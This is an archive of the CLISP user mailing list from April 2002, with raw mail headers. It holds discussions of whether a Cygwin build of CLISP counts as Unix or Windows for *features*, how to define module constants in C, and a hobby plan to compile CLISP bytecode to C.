from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 171ewa-0007Fj-00 for ; Sat, 27 Apr 2002 20:01:44 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout1.freenet.de with esmtp (Exim 3.36 #1) id 171ewX-0000a8-00 for clisp-list@lists.sourceforge.net; Sun, 28 Apr 2002 05:01:41 +0200 Received: from b7628.pppool.de ([213.7.118.40] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #8) id 171ewW-0000yz-00 for clisp-list@lists.sourceforge.net; Sun, 28 Apr 2002 05:01:41 +0200 Message-ID: <3CCA0DCC.952B9651@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: cl-list Subject: [clisp-list] cygwin Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 27 20:02:02 2002 X-Original-Date: Sat, 27 Apr 2002 04:32:44 +0200 Well. Going to: http://www.cygwin.com/ and find this on the side-top: (also there is the dll to do list) ...................................... Cygwin is a UNIX environment, developed by Red Hat, for Windows. It consists of two parts: - A DLL (cygwin1.dll) which acts as a UNIX emulation layer providing substantial UNIX API functionality. - A collection of tools, ported from UNIX, which provide UNIX/Linux look and feel. The Cygwin DLL works with all non-beta versions of Windows since Windows 95, with the exception of Windows CE. ...................................... Note: ...exception Windows CE !! And you know, every year a new window issue (means an other dll). Is Cygwin a kind of a hype? At least you shipp this *.dll with the clisp-stuff. Before doing so, I vote for simple gfx inside the clisp-files. stefan From rrschulz@cris.com Sat Apr 27 21:15:13 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 171g5W-0004wm-00 for ; Sat, 27 Apr 2002 21:15:12 -0700 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g3S4EfO08547 for ; Sun, 28 Apr 2002 00:14:46 -0400 (EDT) Received: from Clemens.cris.com (da003d0093.sjc-ca.osd.concentric.net [64.1.0.94]) by mcfeely.concentric.net (8.9.1a) id AAA04948; Sun, 28 Apr 2002 00:14:25 -0400 (EDT) Message-Id: <5.1.0.14.2.20020427205738.022da068@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] cygwin In-Reply-To: <3CCA0DCC.952B9651@freenet.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 27 21:16:01 2002 X-Original-Date: Sat, 27 Apr 2002 21:15:13 -0700 Stefan, "Is Cygwin a kind of hype?" You've got to be kidding. Cygwin is not hype, is not over-sold in being called a Unix environment. It is very powerful and very complete. People have ported all sorts of Unix software, including some very large projects such as Emacs, the TeX Suite, Apache Web Server, Python,Perl, etc, autoconf and automake, gcc/g++, gdb, BASH, TCSH, Ash and everything on "down" to cat and a large complement of libraries. Cygwin is under continuing development and the set of contributed packages continues to increase. I don't know what you mean by "vote for simple gfx inside the clisp-files." What is the issue about which you purport to be voting? Also, I'm uncertain about what you mean by your statement about shipping a DLL with CLISP. Cygwin is not some kind of add-on. It is an environment in a very real sense. Software must be compiled (and sometimes ported, usually only minimally) for the Cygwin environment. Binaries built for / with Cygwin minimally require the Cygwin1.dll to be available when they are run. Cygwin is an open-source project distributed under GPL, so if you publish software that uses Cygwin, you must take responsibility for making Cygwin sources available, too. It would be very foolish to write off Cygwin as irrelevant to CLISP. Since the Windows APIs are so different than those used in Unix (any variant), having Cygwin opens up a huge range of software written for the Unix / Linux / POSIX APIs that would otherwise require a great deal of work to port to Windows. For example, I was able to adapt the Unix port of the Glimpse indexer by adding a very few very trivial patches. Learn about Cygwin before you disparage or pooh-pooh it. Out of curiosity, does CLISP run on Windows CE? Randall Schulz Mountain View, CA USA At 19:32 2002-04-26, you wrote: >Well. Going to: > >http://www.cygwin.com/ > >and find this on the side-top: (also there is the dll to do list) >...................................... > >Cygwin is a UNIX environment, developed by Red Hat, for Windows. It >consists of two parts: > >- A DLL (cygwin1.dll) which acts as a UNIX emulation layer providing >substantial UNIX API functionality. > >- A collection of tools, ported from UNIX, which provide UNIX/Linux look >and feel. > >The Cygwin DLL works with all non-beta versions of Windows since Windows >95, with the exception of Windows CE. >...................................... > >Note: ...exception Windows CE !! And you know, every year a new window >issue (means an other dll). > >Is Cygwin a kind of a hype? At least you shipp this *.dll with the >clisp-stuff. Before doing so, I vote for simple gfx inside the clisp-files. > >stefan From smk@users.sourceforge.net Sun Apr 28 12:35:05 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 171uRr-0006MJ-00 for ; Sun, 28 Apr 2002 12:35:03 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.36 #1) id 171uRk-0001DJ-00 for clisp-list@lists.sourceforge.net; Sun, 28 Apr 2002 21:34:56 +0200 Received: from a311b.pppool.de ([213.6.49.27] helo=users.sourceforge.net) by mx0.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #8) id 171uRk-0000sD-00 for clisp-list@lists.sourceforge.net; Sun, 28 Apr 2002 21:34:56 +0200 Message-ID: <3CCC4F38.79FAB2A7@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] cygwin References: <5.1.0.14.2.20020427205738.022da068@pop3.cris.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 28 12:36:13 2002 X-Original-Date: Sun, 28 Apr 2002 21:36:24 +0200 BTW, there are two Stefan's on this list. I am the one who usually posts via smk@users.sourceforge.net, because lin8080 also has a freenet.de - account, incidently. Please don't mix it up. :-) I am innocent! Please distinguish us by adding some additional info. stefan [lin8080], that's the one who doesn't know cygwin and Stefan [smk], that's me, the brave german-comment-translator... :-) Randall R Schulz wrote: > > Stefan, > > From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 29 06:51:09 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172BYZ-0007Db-00 for ; Mon, 29 Apr 2002 06:51:07 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 29 Apr 2002 15:49:46 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Apr 2002 15:50:58 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: rrschulz@cris.com, dan.stanger@ieee.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] modules: constants and encodings (was: another gdi question) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 29 06:52:03 2002 X-Original-Date: Mon, 29 Apr 2002 15:50:53 +0200 Hi, [I take the freedom to reply to the list, since I believe this may be of interest to other people.] Dan Stanger wrote: > Is it possible to generate constants in the c code? In the > file gdi.lisp there are hundreds of > constants from the cygwin headers, is it possible to create > these constants in c, and export them to lisp? It is possible, but cumbersome. I believe it's not worth the effort. My idea of how modules are used is that there's a C part, and there's a LISP part (like you already have: gdi.c and gdi.lisp). Things that are easily written in Lisp should be left there (e.g. defpackage, macros, Lisp DEFUNs etc.). You have in gdi.lisp (defconstant WGL_SWAP_UNDERLAY12 #x8000000) What's wrong with that (except using #\_ instread of #\-)? :) The problem I see with it may be: o if it's not automatically generated from C files, there may be deviations over time in the values. It is your responsibility as module provider to assess this risk. o if it is automatical, then it is your responsibility as the module provider to say: "this is really the same constant on all platforms where this module can work." I.e. UNIX SIG_USR1 signal numbers is a counter-example: the actual signal number varies from UNIX to UNIX and is not easily accessible at the Lisp level (not in a file like gdi.lisp which you don't want your users to generate first). Therefore, you should take the effort and have C code generate that value, which the Lisp system then can use, and not write (defconstant SIG-USR1 31) ; bad, broken, wrong Despite all the recommendations for caution, "the thing is a constant and (DEFCONSTANT foo 128) is perfectly fine" applies in most cases. Below is how to do this inside a module. > Also, regarding encoding, I wanted to have package variable > for the current encoding, which > would be set to the clisp encoding. I have seen reference to > internal-encoding, in the clisp > code, so I assume that this would be the one to use as the default. It's unclear to me why this should be a variable. First, several encodings may be necessary, depending on the purpose. Second, each of these could be constant, depending on the module or string properties. There might be no point in having a variable for any of them. internal_encoding is what's used inside "literal strings" in the CLISP C source code. Remember that all CLISP files have been converted to UTF-8 (-16?) some years ago. So it may not suit your needs, if you fail to use this very same encoding in your C source file. If the string is a pathname, then O(pathname_encoding) is the right choice (like I did in dynload.d for the foreign library name). Not a variable as far as your module is concerned (it's a variable from the CLISP user point of view). If you interface to some particular MS-Windows functions, maybe UTF-16 is the encoding required by MS-Windows (e.g. FooBarW() functions). Not a variable either. Etc. Now here's how to define constants from within a module. First, you need to define the symbols. Use the module__object_tab for this. Then, you need to have the values as Lisp objects. Use either module__object_tab again (for Lisp data) or individual lines of code (best with numbers) for each variable as shown below. Finally, your module__init_function1() will call define_constant(symbol,Lisp-value). define_constant(MymoduleO(sig_usr1),fixnum(SIG_USR1)); or sintB val = SIG_USR1; define_constant(MymoduleO(sig_usr1),fixnum(SIG_USR1)); var object val = UL_to_I(0x8000000) define_constant(MymoduleO(foobar),val); define_constant(MymoduleO(barfoo),MyModuleO(my_encoding)); Beware, define_constant is not GC-safe. Instead of having a thousand module_object_tab entries, you could have a single one: a huge list of the symbols, and then walk this list. Examples of C code walking a list are abundant in CLISP C source, e.g. while (consp(STACK_0)) { var object obj = STACK_0; STACK_0 = Cdr(obj); funcall(Car(obj),0); As you automatically generate the module's C code, you have a different set of options (w.r.t. what's comfortable) than somebody writing one directly by hand. Regards, Jorg Hohle. From marcoxa@cs.nyu.edu Mon Apr 29 07:40:54 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172CKj-0005RE-00 for ; Mon, 29 Apr 2002 07:40:53 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g3TEejj26045; Mon, 29 Apr 2002 10:40:45 -0400 Message-Id: <200204291440.g3TEejj26045@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 26 Apr 2002 11:07:44 -0400) Subject: Re: [clisp-list] cygwin References: <5.1.0.14.2.20020425131501.01c63878@pop3.cris.com> <200204261338.g3QDcFg04260@octagon.mrl.nyu.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 29 07:41:07 2002 X-Original-Date: Mon, 29 Apr 2002 10:40:45 -0400 > From: Sam Steingold > Date: 26 Apr 2002 11:07:44 -0400 > ... > > > > Cygwin does accept both kinds of path names, it's true, but first > > > and foremost it is a POSIX emulation environment. To a first, and > > > very good approximation, Cygwin is a Unix-like environment, not > > > Windows. > > yes. if you want a CLISP with #+WIN32, you can compile CLISP with > mingw of MSVC. CLISP under cygwin does not understand "c:\\foo\\bar" > and thus has no right to have #+WIN32. > How many people out there have things like > (defvar *my-path* #+win32 "c:\\foo\\bar" #-win32 "~/foo/bar") > > > No :unix on a MS Windows implementation. > > clisp compiled by cygwin is not a MS Windows implementation. > if cygwin will be ported to, say, macos, clisp/cygwin will not be a > macos implementation. > > I agree with Joerg 100%. It is your decision to make, not mine. I still hold to my opinion that the right thing to do is to correctly identify the host OS. Putting :unix in *features* in the case of cygwin is not IMHO optimal. However, I do understand that the set of *features* is too implementation dependent to be something to be argued for. It is something the writers of portable code will have to live with. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From darrylo@soco.agilent.com Mon Apr 29 10:42:39 2002 Received: from msgbas1x.cos.agilent.com ([192.25.240.36] helo=msgbas1.cos.agilent.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172FAc-0000YW-00 for ; Mon, 29 Apr 2002 10:42:38 -0700 Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 748F8AFD6; Mon, 29 Apr 2002 11:42:37 -0600 (MDT) Received: from mina.soco.agilent.com (mina.soco.agilent.com [141.121.54.157]) by msgrel1.cos.agilent.com (Postfix) with ESMTP id 0459B1D1; Mon, 29 Apr 2002 11:42:37 -0600 (MDT) Received: from mina.soco.agilent.com (darrylo@localhost [127.0.0.1]) by mina.soco.agilent.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.1.1_Agilent) with ESMTP id KAA19095; Mon, 29 Apr 2002 10:42:36 -0700 (PDT) Message-Id: <200204291742.KAA19095@mina.soco.agilent.com> To: Randall R Schulz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cygwin Reply-To: Darryl Okahata In-Reply-To: Your message of "Sat, 27 Apr 2002 21:15:13 PDT." <5.1.0.14.2.20020427205738.022da068@pop3.cris.com> Mime-Version: 1.0 (generated by tm-edit 1.7) Content-Type: text/plain; charset=US-ASCII From: Darryl Okahata Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 29 10:43:07 2002 X-Original-Date: Mon, 29 Apr 2002 10:42:36 -0700 Randall R Schulz wrote: > Out of curiosity, does CLISP run on Windows CE? Going off on a slight tangent, CLISP can be made to run on a Sharp Zaurus (a recently-released color PDA running Linux). It's a very tedious and manual process (configure can't be used as-is because a cross-compiler is used), but it's possible. A different port of CLISP was used to get maxima running on the Zaurus. [ Well, technically, it should be possible to compile CLISP natively on the Zaurus, using configure, but I've been too lazy to hunt down and install all of the native tools necessary to do it (e.g., gcc). ] -- Darryl Okahata darrylo@soco.agilent.com DISCLAIMER: this message is the author's personal opinion and does not constitute the support, opinion, or policy of Agilent Technologies, or of the little green men that have been following him all day. From smk@users.sourceforge.net Mon Apr 29 12:31:27 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172Grq-0001SS-00 for ; Mon, 29 Apr 2002 12:31:22 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.36 #1) id 172Grl-0006KI-00 for clisp-list@lists.sourceforge.net; Mon, 29 Apr 2002 21:31:17 +0200 Received: from a3702.pppool.de ([213.6.55.2] helo=users.sourceforge.net) by mx3.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.36 #1) id 172Grk-0001ya-00 for clisp-list@lists.sourceforge.net; Mon, 29 Apr 2002 21:31:17 +0200 Message-ID: <3CCD9FDD.2EB4ABCB@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list References: <5.1.0.14.2.20020427205738.022da068@pop3.cris.com> <3CCC4F38.79FAB2A7@users.sourceforge.net> <3CCC8008.B1089BBE@ieee.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] bytecode to C Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 29 12:42:57 2002 X-Original-Date: Mon, 29 Apr 2002 21:32:45 +0200 Hi, Dan Stanger wrote: > BTW, how is your clisp compiler outputting c code going? Yes, put salt into my wounds! :-) After a couple of hours stepping through a call of (compile 'square) (Now guess, how square is defined...), I have found the very function that emits the bytecode: assemble-LAP in compiler.lisp. (Applause!!) I don't know, what LAP stands for, but maybe Bruno can shed some light on this naming. After this very exciting discovery, I have thoroughly studied the C-function interpret_bytecode_ in eval.d which encodes all the bytecode actions in C in a huge switch(*byteptr++) { ...lots of cases, one for each bytecode... } statement. The bytecode interpreter defined by this statement interpretes the code literally byte for byte. What I want to do is: Instead of executing each case-statement for the respective bytecode, write the C-encoding to a file plus augmenting the jump targets with C-labels. So I copy the function interpret_bytecode_ to a function emit_c_code, and the case statement for the bytecode do_something: case do_something: { do_it }; becomes: case do_something: fprintf(output_stream, "{ do_it };\n"); for the simple cases. That's why this is called abstract interpretation, right? :-) jump-intructions will be sligthly more difficult, because I will have to identify the jump-destination in the C-code with a jump-label, while in the bytecodevector it is only the index in the vector, like jump to bytecode in position 15 means: byteptr = 15 (tiny oversimplification...) in C I will need something like: goto l15; Now you might ask: "Where the h..k is the difference between calling interpret_bytecode and running a binary produced by this ominous emit_c_code..." There is almost none, except the lack of interpretative overhead due to manipulating byteptr and executing the machine-jumps to the case-statements. "Will there be any speed gain?" Unlikely. If so, I will be truly surprised. The generated object-code from this C-code will be significantly larger than the bytecode. The instruction cache is usually pretty small. "Why are you doing this?" Just for fun. Please don't laugh too loud behind the stage because I have taken the risk to announce my plan before performing in front of the big audience. If I fail, we all can have a good laugh, anyway. Bye, Stefan From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 29 23:23:25 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172R2p-0008Dj-00 for ; Mon, 29 Apr 2002 23:23:24 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 30 Apr 2002 08:22:02 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Apr 2002 08:23:13 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bytecode to C MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 29 23:24:02 2002 X-Original-Date: Tue, 30 Apr 2002 08:23:10 +0200 Stefan Kain wrote: > "Will there be any speed gain?" > Unlikely. If so, I will be truly surprised. The generated object-code > from this C-code will be significantly larger than the bytecode. > The instruction cache is usually pretty small. Generally, the technique you describe yields a little speed gain, for the exact reason you mention (removing one level of interpretation). However to me, the question is: is it worth it? o Native code compilers like CMUCL do one step more: they remove another level of interpretation, achieving *major* speed gains. E.g., your C code will do lots of pushSTACK(arg0);pushSTACK(arg1);funcall(argf,2); That means, it still operates on the CLISP stack and object model, like a JVM, while "true" native code goes one interpretation level beyond that. o Common Lispers who really want native code have a vast choice of implementations (CMUCL, SBCL, POPLOG(?), ECLS, LW, ACL ...). Why should CLISP follow that beaten path? o Something however, which is not there(?) is: Common Lisp to JVM bytecode. That'll be something new, well adapated to CLISP IMHO (because it already does some form of bytecode), and possibly more grateful than providing yet another Lisp->C translator, which is highly unlikely to beat CMUCL. Even more advertising :): if you go into Lisp->JVM, you'll find yourself among very nice people, like Bruno Haible, working on something current (and shared with Smalltalker, Schemers, and half a dozen more languages). With Lisp->C, you'll work with "old" people who've done that before (authors of the above implementations), and thus have memory and experience to help you, but it's not a hot topic for them anymore. Just my 0,00$. I wanted to send that privately, but since you just wrote to the list... Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 30 00:40:18 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172SFF-0007We-00 for ; Tue, 30 Apr 2002 00:40:17 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 30 Apr 2002 09:38:51 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Apr 2002 09:40:02 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] cygwin feature, towards a rational decision Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 30 00:41:02 2002 X-Original-Date: Tue, 30 Apr 2002 09:39:57 +0200 Hi, by now we've heard some arguments, partly based on personal bias (including mine). Somebody suggested a vote. Instead, I suggest we put the pros and cons black on white, so based on facts, and agreement could come out, or Sam can make a decision. Please help complete (or correct) the following: [CYGWIN-CLISP means: CLISP compiled with CYGWIN] Pro #+WIN32 == CLISP-CYGWIN is a MS-Windows app because + it can (in theory?) feature all things a "native" CLISP can (with how many modifications, if any?): # SYS::REGISTRY # DIRKEY (Peter Burwood could comment on the necessary changes) # gdi (code unchanged between Dan's cygwin and mine using MS-VC) +-+-? making features available is just a matter of adding || defined(UNIX_CYGWIN) to selected defined(WIN32_NATIVE) places (pro), or code must be modified and carefully examined (contra). + the hypothetical user doesn't care whether his/her CLISP was compiled natively or not?? + code from other Lisps already uses #+win32 to detect availability of the typical MS-Windows features mentioned above (a contradiction in effect?). + Lisp code uses #+WIN32 to detect the need for :DOS EOL convention when writing files and should do so with CYGWIN-CLISP as well. Contra #+WIN32 - it doesn't understand pathnames like "C:\\foo\\bar.txt" - even if it would, (shell (format nil "NOTEPAD.EXE ~A" (namestring pathname))) would not work, because MS-Windows/DOS applications do not recognize C:/foo/bar.txt. - it needs a specially compiled cygz.dll instead of zlib.dll (why?) - code from other Lisps already uses #+win32 to detect availability of the typical MS-Windows features but breaks on pathnames, shell and other distinguishing features. Pro #+UNIX == CYGWIN is a UNIX app because + SYSCALLS is there, including file-stat, sysinfo, resolve_host_ipaddr, bogomips + everything a programmer expects from a UNIX environment is (or can be) there: # readline library, gettext # /bin/sh # (run-command "/bin/sh emacs &"), or (run-command "/bin/sh emacs" :wait nil) all work as expected. # all POSIX functions, even gamma() and lgamma() (currently disabled for -DWIN32_NATIVE). + it could support (sys::dynload-module "module.so") + it integrates smoothly in a mixed UNIX+MS-Windows X11 windowing system environment, where DISPLAY is set to various hosts. - it does not integrate smoothly into such an environment, because "typical" X programs are not there or behave differently, e.g. netscape, XEmacs. However, ports of pbm, imagemagick, xv and even xterm work. Contra #+UNIX == CYGWIN should not disguise as a UNIX app because - the user may have installed a minimal cygwin, i.e. all typical UNIX commands are missing (ls, /bin/sh etc.) -- is that choice possible (or available via the cygwin installation?) It appears to that PRO&CONTRA are very much dictated by the user's environment: whether s/he has a complete UNIX-like environment and makes active use of it, or whether s/he sees CYGWIN-CLISP just as CLISP running on MS-Windows and doesn't care how it was compiled. Maybe we should add to config.lisp: ;; CYGWIN users: you can choose whether you want either :UNIX or :WIN32 ;; on your feature list. But don't choose both. after the initial image has been generated, i.e. the core CLISP got the things that match its C half. Regards, Jorg Hohle. From dvstarr@earthlink.net Tue Apr 30 15:21:59 2002 Received: from falcon.mail.pas.earthlink.net ([207.217.120.74] helo=falcon.prod.itd.earthlink.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172g0U-00084Y-00 for ; Tue, 30 Apr 2002 15:21:58 -0700 Received: from dialup-63.208.87.229.dial1.stamford1.level3.net ([63.208.87.229]) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 172g0T-0002f8-00 for clisp-list@lists.sourceforge.net; Tue, 30 Apr 2002 15:21:58 -0700 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.3 From: Dan Starr To: Haible-Stoll Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="ISO-8859-1" Content-transfer-encoding: quoted-printable Subject: [clisp-list] about Mac OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 30 15:22:06 2002 X-Original-Date: Tue, 30 Apr 2002 18:19:53 -0400 Dear mssrs. Haible & Stoll, I=B9ve recently set gotten Mac OS X running on my Macintosh. Would really like to get clisp running, or alternately another if it is to be preferred. Would appreciate a simple document telling what to do, as I am not a Unix expert, nor have I used C except sparingly. Please do the world a favor and knock off an installation memo for Mac OS X= . sincerely,=20 Dan Starr From pjb@arcangel.dircon.co.uk Tue Apr 30 15:34:20 2002 Received: from mta02-svc.ntlworld.com ([62.253.162.42]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172gCQ-0001kV-00 for ; Tue, 30 Apr 2002 15:34:19 -0700 Received: from proxyplus.universe ([62.255.68.141]) by mta02-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020430223412.XZMN4626.mta02-svc.ntlworld.com@proxyplus.universe> for ; Tue, 30 Apr 2002 23:34:12 +0100 Received: from 127.0.0.1 by Proxy+; Tue, 30 Apr 2002 22:33:30 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cygwin feature, towards a rational decision References: From: Peter Burwood Mail-Copies-To: never In-Reply-To: "Hoehle, Joerg-Cyril"'s message of "Tue, 30 Apr 2002 09:39:57 +0200" Message-ID: Lines: 144 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 30 15:35:02 2002 X-Original-Date: 30 Apr 2002 23:33:29 +0100 "Hoehle, Joerg-Cyril" writes: > Hi, > > by now we've heard some arguments, partly based on personal bias > (including mine). Somebody suggested a vote. > > Instead, I suggest we put the pros and cons black on white, so based on > facts, and agreement could come out, or Sam can make a decision. > > Please help complete (or correct) the following: Hi, I am very busy at the moment with weekends away and work and so cannot put much, if any, time into clisp or this discussion. However, I am still trying to do a little on dirkey and other cygwin features when possible. Regarding *features*, then I have these comments for now. I apologise if these have been covered by others recently. I know there has been some discussion, but I'm way behind with it at the moment. First question which might resolve the issue is, why would a user use a cygwin based Clisp rather than a native Win based Clisp? For me it is because I do not have MSVC or mingw32 and gcc/cygwin build of Clisp is quite easy. It is a slight inconvenience that dir-key and other features are not there, which is why I'm helping extend Clisp/cygwin. Dos pathnames would be useful, but unix pathnames are ok. I suspect that some code might use #+win32 when there would be a better feature to use, though that might not exist. For example, pathnames is often a problem for portable programs. Should they use #+win32, #+unix, #+amiga, ... etc? Perhaps there should be :pathnames=dos, :pathnames=unix, :pathnames=amiga, etc. I might have misunderstood 